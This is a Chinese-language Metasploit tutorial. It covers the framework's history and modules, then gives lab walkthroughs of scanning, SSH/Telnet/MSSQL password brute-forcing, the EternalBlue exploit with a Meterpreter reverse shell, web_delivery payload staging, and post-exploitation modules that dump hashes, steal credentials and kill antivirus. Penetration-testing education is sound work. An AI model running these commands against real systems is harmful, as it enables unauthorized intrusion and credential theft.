一、Metasploit 简介
Metasploit 是一个开源的渗透测试开源软件,也是一个逐步发展成熟的漏洞研究与渗透测试代码开发平台(可扩展),此外也将成为支持整个渗透测试过程的安全技术集成开发与应用环境。
二、诞生与发展
Metasploit 项目最初是由HD Moore 在2003 年夏季创立,目标是成为渗透攻击研究与代码开发的一个开放资源。HD Moore在2003 年的10月发布了他的第一个基于Perl 语言(pl)的Metasploit 版本,当时一共集成了11个渗透攻击模块。在Spoonm 的帮助下,完全重写了Metasploit 的代码,并在2004 年4月发布了Metasploit v2.0,版本中已经包含了18个渗透攻击模块和27 个攻击载荷(payload),并提供了控制台终端,命令行和Web 三个使用接口。
在2004 年8月,HD 和Spoonm 带着最新发布的Metasploit v2.2 并在拉斯维加斯举办的BlackHat 全球黑客大会上进行了演讲。听众被Metasploit 的强大之处所折服,并一致认为:Metasploit 时代已经到来。更多的黑客加入Metasploit 核心开发团队与贡献渗透攻 击、载荷与辅助模块代码。
在2005 年的CanSecWest 黑客会议上,HD 和Spoonm 指出了Metasploit v2 体系框架中的一些难以解决的难题,包括:
缺乏跨平台支持,特别是不能很好地运行在Windows 系统上。
很难支持自动化渗透攻击过程
Perl 语言的复杂性和缺点使得外部贡献者与用户规模增长不相适应
Perl 语言对一些复杂特性的支持能力较弱等。
而且v2 版本是完全围绕着渗透攻击而设计的,对信息搜集与后渗透攻击阶段无法提供有效支持。经过18个月的时间,Metasploit 团队使用Ruby 语言完全重写了Metasploit ,并在2007 年5月发布了v3.0 版本,其中包含177 个渗透攻击模块、104 个攻击载荷模块以及30 个新引入的辅助模块(扫描爆破模块)。
Metasploit v3.0 的发布使得Metasploit 不在限于用作渗透攻击软件,而真正成为一个事实上的渗透测试技术研究与开发平台。
2009 年10月,Metasploit 项目被一家渗透测试技术领域的知名安全公司Rapid7 所收购。Rapid7 公司随后与2010 年10月推出了 Metasploit Express 和Pro 商业版本。
Metasploit v4.0 在2011 年8 月发布。v4.0 版本在渗透攻击、攻击载荷与辅助模块的数量上都有显著的扩展,此外还引入一种新的模块类型——后渗透攻击模块,以支持在渗透攻击环节中进行敏感信息搜集、内网拓展等一系列的攻击测试。
Metasploit v5.0 在2019 年1月份发布。Metasploit 5.0 使用了新的数据库,并提供了一种新的数据服务。新版本引入了新的规避机 制(evasion capabilities),支持多项语言,框架建立在不断增长的世界级攻击性内容库的框架基础上。另外,此次更新还包括了可用性改进和大规模开发的支持,数据库和自动化 API 的改进等。
三、为什么使用Metasploit
渗透攻击是目前Metasploit 最强大和最具吸引力的核心功能,Metasploit 框架中集成了数百个针对主流操作系统平台上,不同网络服务与应用软件安全漏洞的渗透攻击模块,可以由用户在渗透攻击场景中根据漏洞扫描结果进行选择,并能够自由装配该平台上适用的具有指定功能的攻击载荷,然后通过自动化编码机制绕过攻击限制与检测措施,对目标系统实施远程攻击,获取系统的访问控制权。
除了渗透攻击之外,Metasploit 在发展过程中逐渐增加对渗透测试全过程的支持,包括情报搜集、威胁建模、漏洞分析、后渗透攻击与报告生成。
3.1 情报搜集阶段
Metasploit 一方面通过内建的一系列扫描器与查点辅助模块来获取远程服务器信息,另一方面通过插件机制集成调用Nmap、Nessus、OpenVAS 等业界著名的开源网络扫描工具,从而具备全面的信息搜集能力,为渗透攻击实施提供必不可少的精确情报。
3.2 威胁建模阶段
在搜集信息之后,Metasploit 支持一系列数据库命令操作直接将这些信息汇总至PostgreSQL、MySQL、SQLite 数据库中,并为用户提供易用的数据库查询命令,可以帮助渗透测试者对目标系统搜索到的情报进行威胁建模,从中找出最可行的攻击路径。
3.3 漏洞分析阶段
除了信息搜集环节能够直接扫描出一些已公布的安全漏洞之外,Metasploit 中还提供了大量的协议Fuzz 测试器与Web 应用漏洞探测分析模块,支持具有一定水平能力的渗透测试者在实际过程中尝试挖掘出0Day 漏洞,并对漏洞机理与利用方法进行深入分析,而这将为渗透攻击目标带来更大的杀伤力,并提升渗透测试流程的技术含金量。
3.4 后渗透攻击阶段
在成功实施渗透攻击并获得目标系统的远程控制权之后,Metasploit 框架中另一个极具威名的工具Meterpreter 在后渗透攻击阶段提供了强大功能。
Meterpreter 可以看作一个支持多操作系统平台,可以仅仅驻留于内存中并具备免杀能力的高级后门工具,Meterpreter 中实现了特权提升、信息攫取、系统监控、跳板攻击与内网拓展等多样化的功能特性,此外还支持一种灵活可扩展的方式来加载额外功能的后渗透攻击模块。
3.5 报告生成阶段
Metasploit 框架获得的渗透测试结果可以输入至内置数据库中,因此这些结果可以通过数据查询来获取,并辅助渗透测试报告的写作。商业版的Metasploit Pro 具备了更加强大的报告生成功能,可以输出HTML、XML、Word 和PDF 格式的报告,把那个支持定制渗透测试报告模板。
四、技术架构
4.1 辅助模块
Metasploit 为渗透测试的信息搜集环节提供了大量的辅助模块支持,包括针对各种网络服务的扫描与查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz 测试发掘漏洞、实施网络协议欺骗等模块。
辅助模块能够帮助渗透测试者在渗透攻击之前取得目标系统丰富的情报信息。
4.2 渗透攻击模块
渗透攻击模块是利用发现的安全漏洞或配置弱点对目标系统进行攻击,以植入和运行攻击载荷,从而获取对远程目标系统访问权的代码组件。
4.2.1 主动渗透攻击(攻击者主动出击)
所利用的安全漏洞位于网络服务端软件与服务承载的上层应用程序之中,由于这些服务通常是在主机上开启一些监听端口并等待客户端连接,因此针对它们的渗透攻击可以主动发起,通过连接目标系统网络服务,注入一些特殊构造的包含”邪恶”攻击数据的网络请求内容,触发安全漏洞,并使得远程服务进程执行在”邪恶”数据中包含攻击载荷,从而获取目标系统的控制会话。
4.2.2 被动渗透攻击(被动等待受害者出发)
利用的漏洞位于客户端软件中,如浏览器、浏览器插件、电子邮件客户端、Office 与Adobe 等各种文档阅读与编辑软件。对于这类存在于客户端软件的安全漏洞,我们无法主动地将数据从远程输入到客户端软件中,因此只能采用被动渗透攻击的方式,即构造出”邪恶”的网页、电子邮件或文档文件,并通过架设包含此类恶意内容的服务、发送邮件附件、结合社会工程学分发并诱骗目标用户打开、结合网络欺骗和劫持技术等方式,等目标系统上的用户访问到这些邪恶的内容,从而触发客户端软件中的安全漏洞,给出控制目标系统的Shell 会话。
4.3 攻击载荷模块
攻击载荷是在渗透攻击成功后使目标系统运行的一段植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
4.4 空指令模块
空指令(NOP) 是一些对程序运行状态不会造成任何实质影响的空操作或者无关操作指令,最典型的空指令就是空操作,在x86 CPU 体系架构平台上的操作码是0x90 。
4.5 编码器模块
攻击载荷模块与空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入邪恶数据缓冲区交由目标系统运行之前,Metasploit 框架还需要完成一道非常重要的工序–编码。
编码器模块的第一个使命就是确保攻击载荷中不会出现渗透攻击过程中应加以避免的”坏字符”。
编码器的第二个使命就是对攻击载荷进行”免杀”处理。
4.6 后渗透攻击模块
后渗透攻击模块主要支持在渗透攻击取得目标系统控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等。
4.7 免杀模块
对攻击载荷进行”免杀”处理。
五、MSF的基础使用
5.1 启动和进入、基本命令
5.1.1 启动进入
msfconsole
MSF的数据库
查看数据库连接状态:
db_status
![]()
上图所示表明连接成功。如果数据库没有连接那就使用
msfdb init
初始化一下![]()
内置模块:
=[ metasploit v6.0.30-dev ]
+ -- --=[ 2099 exploits - 1129 auxiliary - 357 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
5.1.2 内置安装模块
进入软件安装目录:
cd /usr/share/metasploit-framework
关注modules目录,里面是msf内置的各类模块。
5.1.3 使用模块的基本命令
- search 【查找可用模块】eg:
search ms17-010
- info 【查看模块信息】
- back 【回退】
- set 【设置参数】
- show options 【显示参数设置情况】
- show missing 【查看当前必须要配置的参数】
- run【执行模块】
5.1.4 其他基础命令
msf6>hosts #查看已经扫描过的主机信息
msf6>services #查看已经扫描过的服务信息
msf6>db_nmap #在msf中调用nmap
msf6>search name:* #基于名称搜索模块,名称尽量精确
msf6>search path:* #基于路径搜索模块,名称尽量精确
msf6>search platform:* #基于平台搜索模块,名称尽量精确 【windows、linux】
msf6>search type:* #基于类型搜索模块,【exploit、auxiliary、post等】
也可以多个条件组合使用。
工作空间
msf6>workspace
5.2 更新(就是重装)
[apt-get update]
[apt-get install metasploit-framework]
⚠️:一个模块就是一个rb 脚本,例如:
5.3 情报搜集
5.3.1 网站敏感目录扫描(类比御剑)
可以借助Metasploit 中的brute_dirs、dir_listing、dir_scanner 等辅助模块来进行敏感目录扫描。
他们主要使用暴力猜解的方式工作,注意此处需要提供一个目录字典。
msf5 > use auxiliary/scanner/http/dir_scanner
msf5 auxiliary(scanner/http/dir_scanner) > set RHOSTS 172.16.132.138
RHOSTS => 172.16.132.138
msf5 auxiliary(scanner/http/dir_scanner) > set PATH /cms/
PATH => /cms/
msf5 auxiliary(scanner/http/dir_scanner) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/http/dir_scanner) > exploit
实战EX:使用MSF dir_scanner 发现敏感目录
(目标 2008 http://192.168.33.4/cms/
1、use 相应的模块
msf6 > use auxiliary/scanner/http/dir_scanner msf6 auxiliary(**scanner/http/dir_scanner**) >
2、info 查看模块详细信息
![]()
3、扫描CMS
msf6 auxiliary(**scanner/http/dir_scanner**) > set RHOSTS 192.168.33.4 RHOSTS => 192.168.33.4 msf6 auxiliary(**scanner/http/dir_scanner**) > set path /cms path => /cms msf6 auxiliary(**scanner/http/dir_scanner**) > set ThREADS 100 ThREADS => 100 msf6 auxiliary(**scanner/http/dir_scanner**) > set RPORT 80 RPORT => 80 msf6 auxiliary(**scanner/http/dir_scanner**) > exploit
结果:
[*] Detecting error code [*] Using code '404' as not found for 192.168.33.4 [+] Found http://192.168.33.4:80/cms/.../ 403 (192.168.33.4) [+] Found http://192.168.33.4:80/cms/Admin/ 302 (192.168.33.4) [+] Found http://192.168.33.4:80/cms/admin/ 302 (192.168.33.4) [+] Found http://192.168.33.4:80/cms/images/ 200 (192.168.33.4) [+] Found http://192.168.33.4:80/cms/include/ 200 (192.168.33.4) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
5.3.2 主机发现(速度不如Nmap)
Metasploit 中提供了一些辅助模块可用于主机发现,这些模块位于modules/auxiliary/scanner/discovery/ 目录中。
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/empty_udp
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
可以使用arp_sweep 来枚举本地局域网中的所有活跃主机。(速度慢)
msf5 > use auxiliary/scanner/discovery/arp_sweep
msf5 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 172.16.132.160/24
RHOSTS => 172.16.132.160/24
msf5 auxiliary(scanner/discovery/arp_sweep) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/discovery/arp_sweep) > exploit
5.3.3 端口扫描(实测效率不如nmap)
Metasploit 的辅助模块中提供了几款实用的端口扫描器。
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/xmas
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/tcp
一般情况下推荐使用syn 端口扫描器,因为他的扫描速度较快,结果比较准确且不易被对方察觉。
msf5 > use auxiliary/scanner/portscan/syn
msf5 auxiliary(scanner/portscan/syn) > set RHOSTS 172.16.132.138
RHOSTS => 172.16.132.138
msf5 auxiliary(scanner/portscan/syn) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/portscan/syn) > exploit
5.3.4 探测服务详细信息
在Metasploit 中有一些插件可以调用系统中的命令,比如可以使用Nmap 探测目标的详细服务信息,命令
[nmap -sS -Pn 192.168.1.1 -sV],参数说明:
-sS 使用SYN 半连接扫描
-Pn 在扫描之前,不发送ICME echo 请求测试目标是否活跃
-sV 探测服务详细版本
5.3.5 服务查点
在Metasploit 的辅助模块中,有很多用于服务扫描和查点的工具,这些工具通常以[service_name]_version 命名。该模块可用于遍历网络中包含某种服务的主机,并进一步确定服务的版本。
1)telnet 服务查点
Telnet 是一个历史悠久但先天缺乏安全性的网络服务。由于Telnet 没有对传输的数据进行加密,越来越多的管理员渐渐使用更为安全的SSH 协议代替它。尽管如此,很多价格昂贵、使用寿命更长的大型交换机使用Telnet 协议的可能性更大,而此类交换机在网络中的位置一般来说都非常重要。可以使用telnet_version 模块扫描一下是否有主机或设备开启了Tenlnet 服务。
msf5 > use auxiliary/scanner/telnet/telnet_version
msf5 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 172.16.132.160/24
RHOSTS => 172.16.132.160/24
msf5 auxiliary(scanner/telnet/telnet_version) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/telnet/telnet_version) > exploit
2)ssh服务查点
通常管理员会使用SSH 对服务器进行远程管理,服务器会向SSH 客户端返回一个远程Shell 连接。如果没有做其他的安全增强配置,只要获取服务的登录口令,就可以使用SSH 客户端登录服务器,那就相当于获取了响应登录用户的所有权限。可以使用ssh_version 模块遍历网络中开启SSH 服务的主机。
msf5 > use auxiliary/scanner/ssh/ssh_version
msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 172.16.132.160/24
RHOSTS => 172.16.132.160/24
msf5 auxiliary(scanner/ssh/ssh_version) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/ssh/ssh_version) > exploit
实战EX:使用MSF ssh_version SSH服务查点并爆破
192.168.33.0/24
1、use 相应的模块
![]()
2、info 查看模块详细信息
3、扫描
![]()
4、准备字典爆破
use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.33.6 RHOSTS => 192.168.33.6 msf6 auxiliary(scanner/ssh/ssh_login) > set THREADS 50 THREADS => 50 msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true VERBOSE => true msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_fILE /root/Desktop/msf/ssh-pass.dic PASS_fILE => /root/Desktop/msf/ssh-pass.dic msf6 auxiliary(scanner/ssh/ssh_login) > set USER_fILE /root/Desktop/msf/ssh-user.dic USER_fILE => /root/Desktop/msf/ssh-user.dic msf6 auxiliary(scanner/ssh/ssh_login) > exploit
![]()
5、结果
![]()
root 123.com
3)mssql服务查点
可以使用mysql_ping 查找网络模块中的Microsoft SQL Server。
msf5 > use auxiliary/scanner/mssql/mssql_ping
msf5 auxiliary(scanner/mssql/mssql_ping) > set RHOSTS 172.16.132.160/24back
RHOSTS => 172.16.132.160/24
msf5 auxiliary(scanner/mssql/mssql_ping) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/mssql/mssql_ping) > exploit
5.4 口令猜测
5.4.1 telnet口令猜测
msf5 > use auxiliary/scanner/telnet/telnet_login
msf5 auxiliary(scanner/telnet/telnet_login) > set RHOSTS 172.16.132.138
RHOSTS => 172.16.132.138
msf5 auxiliary(scanner/telnet/telnet_login) > set USER_FILE /root/dic/user.dic
USER_FILE => /root/dic/user.dic
msf5 auxiliary(scanner/telnet/telnet_login) > set PASS_FILE /root/dic/pwd.dic
PASS_FILE => /root/dic/pwd.dic
msf5 auxiliary(scanner/telnet/telnet_login) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/telnet/telnet_login) > exploit
5.4.2 ssh口令猜测
在确定了网络上的SSH 服务之后,可以使用MSF 中的ssh_login 模块对SSH 服务进行口令猜测攻击,在进行口令攻击之前,需要一个好用的用户名和口令字典。
msf5 > use auxiliary/scanner/ssh/ssh_login
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 172.16.132.160
RHOSTS => 172.16.132.160
msf5 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/dic/user.dic
USER_FILE => /root/dic/user.dic
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/dic/pwd.dic
PASS_FILE => /root/dic/pwd.dic
msf5 auxiliary(scanner/ssh/ssh_login) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/ssh/ssh_login) > exploit
5.4.3 mssql口令猜测
msf5 > use auxiliary/scanner/mssql/mssql_login
msf5 auxiliary(scanner/mssql/mssql_login) > set RHOSTS 172.16.132.135
RHOSTS => 172.16.132.135
msf5 auxiliary(scanner/mssql/mssql_login) > set USER_FILE /root/dic/user.dic
USER_FILE => /root/dic/user.dic
msf5 auxiliary(scanner/mssql/mssql_login) > set PASS_FILE /root/dic/pwd.dic
PASS_FILE => /root/dic/pwd.dic
msf5 auxiliary(scanner/mssql/mssql_login) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/mssql/mssql_login) > exploit
5.5 网络服务渗透攻击
5.5.1 永恒之蓝
1)漏洞扫描
---------------
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.200/24
RHOSTS => 192.168.1.200/24
msf5 auxiliary(scanner/smb/smb_ms17_010) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit
------------------
2)攻击
------------------
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.200
RHOSTS => 192.168.1.200
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.150
LHOST => 192.168.1.150
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
----------------
实战EX:msf 永恒之蓝 ms17-010
1、扫描
msf6 auxiliary(scanner/http/dir_scanner) > use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.33.0/24 RHOSTS => 192.168.33.0/24 msf6 auxiliary(scanner/smb/smb_ms17_010) > set THREADS 100 THREADS => 100 msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit
结果:
[+] 192.168.33.4:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit) [*] 192.168.33.0/24:445 - Scanned 34 of 256 hosts (13% complete) [*] 192.168.33.0/24:445 - Scanned 95 of 256 hosts (37% complete) [*] 192.168.33.0/24:445 - Scanned 101 of 256 hosts (39% complete) [*] 192.168.33.0/24:445 - Scanned 104 of 256 hosts (40% complete) [*] 192.168.33.0/24:445 - Scanned 134 of 256 hosts (52% complete) [*] 192.168.33.0/24:445 - Scanned 167 of 256 hosts (65% complete) [*] 192.168.33.0/24:445 - Scanned 180 of 256 hosts (70% complete) [*] 192.168.33.0/24:445 - Scanned 206 of 256 hosts (80% complete) [*] 192.168.33.0/24:445 - Scanned 233 of 256 hosts (91% complete) [*] 192.168.33.0/24:445 - Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed msf6 auxiliary(scanner/smb/smb_ms17_010) >
2、攻击
msf6 > use exploit/windows/smb/ms17_010_eternalblue [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHoSTS 192.168.33.4 RHoSTS => 192.168.33.4 msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.33.12 LHOST => 192.168.33.12
![]()
3、执行meterpreter
![]()
进入shell在能执行whoami,并且获得system权限。
5.6 Metepreter命令
命令 | 解释 |
---|---|
background | 将Meterpreter 终端隐藏在后台 |
sessions | 查看已经成功获取的会话。-i 选项,切入后台会话 |
shell | 获取系统的控制台shell |
quit | 关闭当前的Meterpreter 会话,返回MSF 终端 |
pwd | 获取目标机上当前的工作目录 |
cd | 切换目录 两个反斜杠 |
ls | 查看当前目录下内容 |
upload | 上传文件 |
cat | 查看文件内容 |
edit | 编辑文件 |
download | 下载文件 |
search | 搜索文件 |
ifconfig/ipconfig | 查看网卡信息 |
route | 查看路由信息,设置路由 |
sysinfo | 查看系统信息 |
getuid | 获取当前用户id |
ps | 看进程 |
getpid | 查看当前进程 |
migrate | 切换进程(切换资源管理器exploer.exe) |
execute | 执行文件 |
kill | 终结指定PID 的进程 |
shutdown | 关机 |
screenshot | 屏幕快照 |
5.7 常用模块
auxiliary/scanner/portscan/syn #端口扫描模块
auxiliary/gather/enum_dns #dns记录的扫描和枚举模块
auxiliary/gather/searchengine_subdomains_collector #子域名搜集
auxiliary/gather/shodan_search #调用shodan搜索引擎(需要获取shodan个人账户的API key)
auxiliary/scanner/discovery/arp_sweep #基于arp进行主机发现
六、MSF 进阶实战
6.1 exploit
6.1.1 exploit/multi/script/web_delivery 模块
1)简介
exploit/multi/script/web_delivery 是 Metasploit Framework 中的一个模块,主要用于远程执行代码。它通过 Web 服务器向受害者的浏览器发送恶意脚本,这些脚本会在目标机器上执行。
功能和用途
- 快速建立会话:该模块可以在攻击者的机器上快速启动一个 Web 服务器,托管有效负载。当目标机器连接到该服务器并执行有效负载时,会建立一个会话。
- 支持多种脚本语言:支持 Python、PHP 和 PowerShell 等脚本语言,可以根据目标环境选择合适的语言。
- 隐蔽性强:由于有效负载不会写入目标机器的磁盘,因此不太可能触发防病毒软件和其他防御机制。
- 应用场景:适用于渗透测试和攻击模拟,特别是在已经获得一定权限但不完全控制目标系统的情况下。
2)使用方法
加载模块:
msf6 > use exploit/multi/script/web_delivery
设置参数:
- 选择目标语言:例如,选择 PHP 或 PowerShell.
- 设置有效负载:例如,使用
php/meterpreter/reverse_tcp
作为有效负载. - 设置监听地址和端口:例如,
set lhost 192.168.1.100
和set lport 8080
. - TARGET:
运行模块:
msf6 exploit(multi/script/web_delivery) > run
运行后,模块会生成一个命令,该命令需要在目标机器上执行以下载并运行有效负载。
3)实战
use exploit/multi/script/web_delivery
set target 7 # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.7
set lport 4446
exploit
七、内网信息收集
当我们设置全局代理(通常可以通过ew等隧道工具+proxychains来实现),那么就可以在MSF中使用模块来对内网段进行扫描:
7.1 扫描
常用的扫描模块:
auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使用
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname
7.2 域内信息收集
run post/windows/gather/enum_logged_on_users #查看登录过的用户信息
run post/windows/gather/enum_ad_groups #查看组信息
w
run post/windows/gather/enum_ad_computers #域内所有机器
run post/windows/gather/enum_patches #发现缺失的补丁
run post/multi/recon/local_exploit_suggester #快速识别可能被利用的漏洞
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
run post/windows/gather/enum_domain_tokens #寻找域token
run post/windows/gather/checkvm #判断靶机是否属于虚拟机
run post/windows/gather/enum_applications #枚举列出安装在靶机上的应用程序和版本信息
.